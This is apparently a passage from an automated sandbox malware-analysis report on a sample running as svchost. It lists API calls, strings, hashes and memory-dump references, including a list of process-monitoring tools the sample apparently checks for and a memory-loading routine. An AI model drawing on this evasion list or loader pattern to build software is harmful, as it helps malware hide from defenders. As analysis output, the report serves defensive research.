LeaveCriticalSection.KERNEL32 ref: 000000018000C064
SleepEx.KERNELBASE ref: 000000018000C07A

Strings

Procmon.exe, xrefs: 000000018000AD69
Error: Failed to create thread., xrefs: 000000018000ABE9
ProcessHacker.exe, xrefs: 000000018000AD9B
Procmon64.exe, xrefs: 000000018000AD37
perfmon.exe, xrefs: 000000018000ACA1
%s, xrefs: 000000018000AB28, 000000018000AB3B, 000000018000AB4E
procexp.exe, xrefs: 000000018000AD05
SystemExplorer.exe, xrefs: 000000018000ADCD
procexp64.exe, xrefs: 000000018000ACD3
Error creating thread., xrefs: 000000018000AC43
Taskmgr.exe, xrefs: 000000018000AC6F

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CriticalSection$Status$Sleep$CreateEnterGlobalLeaveMemory$PowerProcess32SystemThread$CapabilitiesConcurrency::cancel_current_taskFirstInitializeNextSnapshotToolhelp32
String ID: %s$Error creating thread.$Error: Failed to create thread.$ProcessHacker.exe$Procmon.exe$Procmon64.exe$SystemExplorer.exe$Taskmgr.exe$perfmon.exe$procexp.exe$procexp64.exe
API String ID: 311818985-1657582599
Opcode ID: 2da7c2c6a98cbbfd43fa16b14691bb01e651ab2003892bd078ae54760688bbf9
Instruction ID: 0fba88abe460301e5e021612346612fc89a957bcaa1e7c8513a21b4936bbf582
Opcode Fuzzy Hash: 2da7c2c6a98cbbfd43fa16b14691bb01e651ab2003892bd078ae54760688bbf9
Instruction Fuzzy Hash: B0C2D272614A8885EBA2CF24D8803ED7361F7997E4F509312FA6D97AD9DF74C688C700

Function 000000018000C090 Relevance: 42.9, APIs: 20, Strings: 4, Instructions: 876
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 000000018000C1BF
_fread_nolock.LIBCMT ref: 000000018000C539
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CAFE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB04
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB10
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB22
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB28
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB2E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB34
Concurrency::cancel_current_task.LIBCPMT ref: 000000018000CB3A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000CB40
GetComputerNameW.KERNEL32 ref: 000000018000CB85
SleepEx.KERNELBASE ref: 000000018000CC2B
SleepEx.KERNELBASE ref: 000000018000CC7C
Sleep.KERNEL32 ref: 000000018000CCF7
SleepEx.KERNELBASE ref: 000000018000CE45
SleepEx.KERNELBASE ref: 000000018000CE50
Sleep.KERNEL32 ref: 000000018000CEAD

Strings

.dll, xrefs: 000000018000C398, 000000018000CBF4
8237a11bdd9e86a0396d7432a94890cf93e147e9bc5ef966a96414b8420d5a16, xrefs: 000000018000C606
.bin, xrefs: 000000018000C215, 000000018000CBA8
017418855180a6dbc2275a230d5fbb0b99534a6330424a83f91349cd6780d12f, xrefs: 000000018000C6D6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Sleep$ComputerName$Concurrency::cancel_current_task_fread_nolock
String ID: .bin$.dll$017418855180a6dbc2275a230d5fbb0b99534a6330424a83f91349cd6780d12f$8237a11bdd9e86a0396d7432a94890cf93e147e9bc5ef966a96414b8420d5a16
API String ID: 2981471477-3889352089
Opcode ID: ee7994cd032529aa78c15625589ac8cdaee42260ce99f6701ca8112d38809d02
Instruction ID: feb912915504ed2fbfdc71966aea17052d1a15c0282abbc4b4f5825ed7f18d80
Opcode Fuzzy Hash: ee7994cd032529aa78c15625589ac8cdaee42260ce99f6701ca8112d38809d02
Instruction Fuzzy Hash: 4082C172A14A8882EB42DB24D4513ED7361F7997D8F50D211FA9D17AEAEF38C789C300

Function 00007FF8B7E528C0 Relevance: 25.8, APIs: 17, Instructions: 348
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 00007FF8B7E52911
GetNativeSystemInfo.KERNELBASE ref: 00007FF8B7E5299A
VirtualAlloc.KERNEL32 ref: 00007FF8B7E529EF
VirtualAlloc.KERNEL32 ref: 00007FF8B7E52A0E
VirtualAlloc.KERNEL32 ref: 00007FF8B7E52A71
GetProcessHeap.KERNEL32 ref: 00007FF8B7E52A92
HeapAlloc.KERNEL32 ref: 00007FF8B7E52AA6
SetLastError.KERNEL32 ref: 00007FF8B7E52E03

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Alloc$Virtual$ErrorHeapLast$InfoNativeProcessSystem
String ID:
API String ID: 2757199752-0
Opcode ID: 4ec2cdafbce4d7d84ade0a82e34f6a5dac29e537df6c25b88b71bc6ce5ec98af
Instruction ID: 387b2e176aae2229f6bca6905fb8a451298cbcc9ca04f7942b6c43833fc0224d
Opcode Fuzzy Hash: 4ec2cdafbce4d7d84ade0a82e34f6a5dac29e537df6c25b88b71bc6ce5ec98af
Instruction Fuzzy Hash: CDE16CA2B09B8686EB648B1AE45077D67A8FF49FC8F484435CB4D477A1EE3DF6058300

Function 0000000180004920 Relevance: 22.6, APIs: 15, Instructions: 115
servicesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST ref: 0000000180004943
OpenServiceW.ADVAPI32 ref: 000000018000495D
CloseServiceHandle.ADVAPI32 ref: 000000018000496E
QueryServiceStatusEx.SECHOST ref: 00000001800049B2
StartServiceW.ADVAPI32 ref: 00000001800049DA
QueryServiceStatusEx.ADVAPI32 ref: 0000000180004A02
GetTickCount.KERNEL32 ref: 0000000180004A10
Sleep.KERNEL32(?), ref: 0000000180004A4D
QueryServiceStatusEx.SECHOST ref: 0000000180004A6D
GetTickCount.KERNEL32 ref: 0000000180004A7D
GetTickCount.KERNEL32 ref: 0000000180004A85
CloseServiceHandle.ADVAPI32 ref: 0000000180004A9D
CloseServiceHandle.ADVAPI32 ref: 0000000180004AA6
CloseServiceHandle.ADVAPI32 ref: 0000000180004AB3
CloseServiceHandle.ADVAPI32 ref: 0000000180004ABC

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Service$CloseHandle$CountQueryStatusTick$Open$ManagerSleepStart
String ID:
API String ID: 4245090501-0
Opcode ID: dd41d5b2053ba6f9cdc0d25a859c4798daaf01e652766079c616e3b02966a1ae
Instruction ID: d19a78d03b83ef1a6750787e772b278f49e1f07cc263a9b4664b8ccd181861e4
Opcode Fuzzy Hash: dd41d5b2053ba6f9cdc0d25a859c4798daaf01e652766079c616e3b02966a1ae
Instruction Fuzzy Hash: 20415136314A8886EAA6CB22A44439A73A4F78EBC4F448125AD8E47795DF3CC24DDB05

Function 0000000180002200 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 148
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00000001800022A6
GetFileSize.KERNEL32 ref: 00000001800022D6
CloseHandle.KERNEL32 ref: 00000001800022F6

Strings

Failed to allocate memory for file contents: %s, xrefs: 0000000180002327
8237a11bdd9e86a0396d7432a94890cf93e147e9bc5ef966a96414b8420d5a16, xrefs: 0000000180002376
Failed to write file contents: %s, xrefs: 0000000180002406
Failed to read file contents: %s, xrefs: 0000000180002355
Failed to get file size: %s, xrefs: 00000001800022E7
Failed to open file: %s, xrefs: 00000001800022B8

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: 8237a11bdd9e86a0396d7432a94890cf93e147e9bc5ef966a96414b8420d5a16$Failed to allocate memory for file contents: %s$Failed to get file size: %s$Failed to open file: %s$Failed to read file contents: %s$Failed to write file contents: %s
API String ID: 1378416451-2612177043
Opcode ID: 74e5e059129ccb0cfd2f81bc06e81d806f2c39d8152b9d6e8d6db4d95ae3c5af
Instruction ID: a55ad2427bce61bfa2b082e2895cd487fc4fcd6d5a9157d28c8fbe78b3572bc7
Opcode Fuzzy Hash: 74e5e059129ccb0cfd2f81bc06e81d806f2c39d8152b9d6e8d6db4d95ae3c5af
Instruction Fuzzy Hash: 57619832604A8886F7A2DB35A4113EA7360F79EBD8F45D211FE9906696DF3CD38C8704

Function 0000000180004740 Relevance: 22.6, APIs: 15, Instructions: 119
servicesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0000000180004761
OpenSCManagerW.ADVAPI32 ref: 0000000180004773
OpenServiceW.ADVAPI32 ref: 000000018000478D
CloseServiceHandle.ADVAPI32 ref: 000000018000479E
QueryServiceStatusEx.SECHOST ref: 00000001800047C5
Sleep.KERNEL32(?), ref: 000000018000481A
QueryServiceStatusEx.ADVAPI32 ref: 000000018000483A
GetTickCount.KERNEL32 ref: 0000000180004853
ControlService.ADVAPI32 ref: 0000000180004875
GetLastError.KERNEL32 ref: 000000018000487F
Sleep.KERNEL32 ref: 0000000180004894
QueryServiceStatusEx.ADVAPI32 ref: 00000001800048B4
GetTickCount.KERNEL32 ref: 00000001800048C5
CloseServiceHandle.ADVAPI32 ref: 00000001800048E6
CloseServiceHandle.ADVAPI32 ref: 00000001800048EF

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Service$CloseCountHandleQueryStatusTick$OpenSleep$ControlErrorLastManager
String ID:
API String ID: 604230161-0
Opcode ID: 63f8c78b1520dd8bb76ea7572b22352fd23d10021381da2376d7ed6612ae5375
Instruction ID: 13e11ee2bafc75977f78584ac55b6c5cf5f38ca76de162442a4a7119cbc5e1e1
Opcode Fuzzy Hash: 63f8c78b1520dd8bb76ea7572b22352fd23d10021381da2376d7ed6612ae5375
Instruction Fuzzy Hash: 5F516D32715A8886EAAACB12A84439E73A1E78CBC4F45C425F94E477A4DE38C64DDB04

Function 0000000180004610 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 0000000180004627
GetLastError.KERNEL32 ref: 0000000180004635

Part of subcall function 00000001800066D0: std::_Lockit::_Lockit.LIBCPMT ref: 000000018000679B
Part of subcall function 00000001800066D0: std::_Lockit::_Lockit.LIBCPMT ref: 00000001800067C6
Part of subcall function 00000001800066D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800067F3
Part of subcall function 00000001800066D0: std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000688F

OpenServiceW.ADVAPI32 ref: 0000000180004674
GetLastError.KERNEL32 ref: 000000018000467F
CloseServiceHandle.ADVAPI32 ref: 00000001800046A8

Strings

Failed to open service control manager: , xrefs: 000000018000463B
Failed to open service: , xrefs: 0000000180004685

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Lockitstd::_$ErrorLastLockit::_Lockit::~_OpenService$CloseHandleManager
String ID: Failed to open service control manager: $Failed to open service:
API String ID: 3380738895-1733557361
Opcode ID: 645d0c960d26bd6d6a4a30f0230a8df73b5f7ff5a0d2dc0ac1111d58dc839022
Instruction ID: 48b9b95d8d50952ee61bc998ff10efe393d85291210940e671162a50a2ad0986
Opcode Fuzzy Hash: 645d0c960d26bd6d6a4a30f0230a8df73b5f7ff5a0d2dc0ac1111d58dc839022
Instruction Fuzzy Hash: 9C118671B0560882FE9BDB66B5843EA23916B8DBC4F45D424BD1E07757EE2CC28D9704

Function 0000000180024818 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,0000000180024F7C,?,?,?,?,000000018001DDB1,?,?,?,?,000000018000D764), ref: 0000000180024994
GetProcAddressForCaller.KERNELBASE(?,?,?,0000000180024F7C,?,?,?,?,000000018001DDB1,?,?,?,?,000000018000D764), ref: 00000001800249A0

Strings

api-ms-, xrefs: 00000001800248DE
ext-ms-, xrefs: 00000001800248F1

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AddressCallerFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3520295827-537541572
Opcode ID: d0b1839425eb603ec9f775d4f928784bdd1e72ac64bdaf8c501d79cafd92b904
Instruction ID: b3f6ef35fc5050a532edfaa9bb7b880576e30c91e9f03b87b4b1f933798a2a1a
Opcode Fuzzy Hash: d0b1839425eb603ec9f775d4f928784bdd1e72ac64bdaf8c501d79cafd92b904
Instruction Fuzzy Hash: DC41B032321A4885FAA7DB16A8007D72395BB4DBD0F59D125FD1D9B794EF38CA8D8300

Function 00007FF8B7E53EB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 149
registrysynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterServiceCtrlHandlerExW.ADVAPI32 ref: 00007FF8B7E53FCE
SetServiceStatus.SECHOST ref: 00007FF8B7E5409E
CreateThread.KERNELBASE ref: 00007FF8B7E540BC
WaitForSingleObject.KERNEL32 ref: 00007FF8B7E540EC

Strings

Error: Failed to create thread., xrefs: 00007FF8B7E540C7

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Service$CreateCtrlHandlerObjectRegisterSingleStatusThreadWait
String ID: Error: Failed to create thread.
API String ID: 3668500431-4082312796
Opcode ID: 11faa7c8bba72e4a7e76ec593713ddb09bf5e67e8f6aa8646e04a5bbeeb19054
Instruction ID: 7e39bbfc84cd0ae8be8b58a4e8bc0804ed11d92690bf3310ad2b5a1b821982bc
Opcode Fuzzy Hash: 11faa7c8bba72e4a7e76ec593713ddb09bf5e67e8f6aa8646e04a5bbeeb19054
Instruction Fuzzy Hash: 31515BA2F14B9585EB10CB29E8402AD23B1BF49BE8F544625DF6D17BA9DF3CE491C300

Function 00007FF8B7E526C0 Relevance: 7.6, APIs: 5, Instructions: 110
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32 ref: 00007FF8B7E526FE
LoadLibraryA.KERNELBASE ref: 00007FF8B7E52744
IsBadReadPtr.KERNEL32 ref: 00007FF8B7E527F3
SetLastError.KERNEL32 ref: 00007FF8B7E52815
SetLastError.KERNEL32 ref: 00007FF8B7E52833

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLastRead$LibraryLoad
String ID:
API String ID: 163775416-0
Opcode ID: efd9f17c25d0b6670a4b674261000f9c2784c0954a26f3d4ad3455cb821de0f0
Instruction ID: 2709911b65f910bb22db91feb749153c8d0fecc8f8112f4e33770f778e64b934
Opcode Fuzzy Hash: efd9f17c25d0b6670a4b674261000f9c2784c0954a26f3d4ad3455cb821de0f0
Instruction Fuzzy Hash: 744125A6A09B8586EB108B5AE54022D27A4FF48FA4F084435DF5E8BBA4DF3CF565C710

Function 0000000180001EF0 Relevance: 4.5, APIs: 3, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,0000000180002B1C,?,?,?,?,000000018000101D), ref: 0000000180001EF9
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,0000000180002B1C,?,?,?,?,000000018000101D), ref: 0000000180001F02
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0000000180002B1C,?,?,?,?,000000018000101D), ref: 0000000180001F0D

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AttributesFile$ErrorLast
String ID:
API String ID: 365566950-0
Opcode ID: 4c7b806c3b3d287c564b2dc48020b1d19501d0cf8bdbf06f0eabefcdba6b483b
Instruction ID: ac3196715d578acfa0c0e99fdeb26a5437affe3c9af713224bb320ac3d019d9f
Opcode Fuzzy Hash: 4c7b806c3b3d287c564b2dc48020b1d19501d0cf8bdbf06f0eabefcdba6b483b
Instruction Fuzzy Hash: F9D05E71A0050AC2EBBB177138853ED13119B1C7B6F5A6210D93E446D19F284AEDA710

Function 00007FF8B7E53D10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B7E54110: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E541E6
Part of subcall function 00007FF8B7E54110: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E54211
Part of subcall function 00007FF8B7E54110: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E5423E
Part of subcall function 00007FF8B7E54110: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E542DA

SleepEx.KERNELBASE ref: 00007FF8B7E53D7A

Strings

69cab23ab30a641f4ca71d062ff514363fcc7ce600d9d2a0361e78dbfcdbf160, xrefs: 00007FF8B7E53E05

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Sleep
String ID: 69cab23ab30a641f4ca71d062ff514363fcc7ce600d9d2a0361e78dbfcdbf160
API String ID: 1034628042-2904915555
Opcode ID: 62eb7bcbbe7a253c58100ec9d2604e4fe110c7cc36a558635a65cb6b74ed0014
Instruction ID: 2c874ef57725fd8c269e1b9ad630537af4c74c9d5b762da2ba83d87cdb9861df
Opcode Fuzzy Hash: 62eb7bcbbe7a253c58100ec9d2604e4fe110c7cc36a558635a65cb6b74ed0014
Instruction Fuzzy Hash: 3031F6A0E0874791FB45AB6DE8611BD2361AF88FC0F901536DB0E4B7B2DE2DF5448350

Function 00007FF8B7E52430 Relevance: 3.1, APIs: 2, Instructions: 68
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF8B7E52497
VirtualProtect.KERNEL32 ref: 00007FF8B7E524FB

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: bde0c48d1edbfb1bf68d1555202bfaefd5aec76ded2c52ff14a49ad70690f603
Instruction ID: 0e7851f8ec393c4c17c450096f8cc818e48963ed92d813bf90b2ad6681e0a466
Opcode Fuzzy Hash: bde0c48d1edbfb1bf68d1555202bfaefd5aec76ded2c52ff14a49ad70690f603
Instruction Fuzzy Hash: 11218EF7B14A5582EF24CB1AD05496D67A5FBA8FC4B854031DB0E4B761DE3DE580CB40

Function 0000000180024728 Relevance: 3.0, APIs: 2, Instructions: 18
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000000018002473E
GetLastError.KERNEL32 ref: 0000000180024748

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
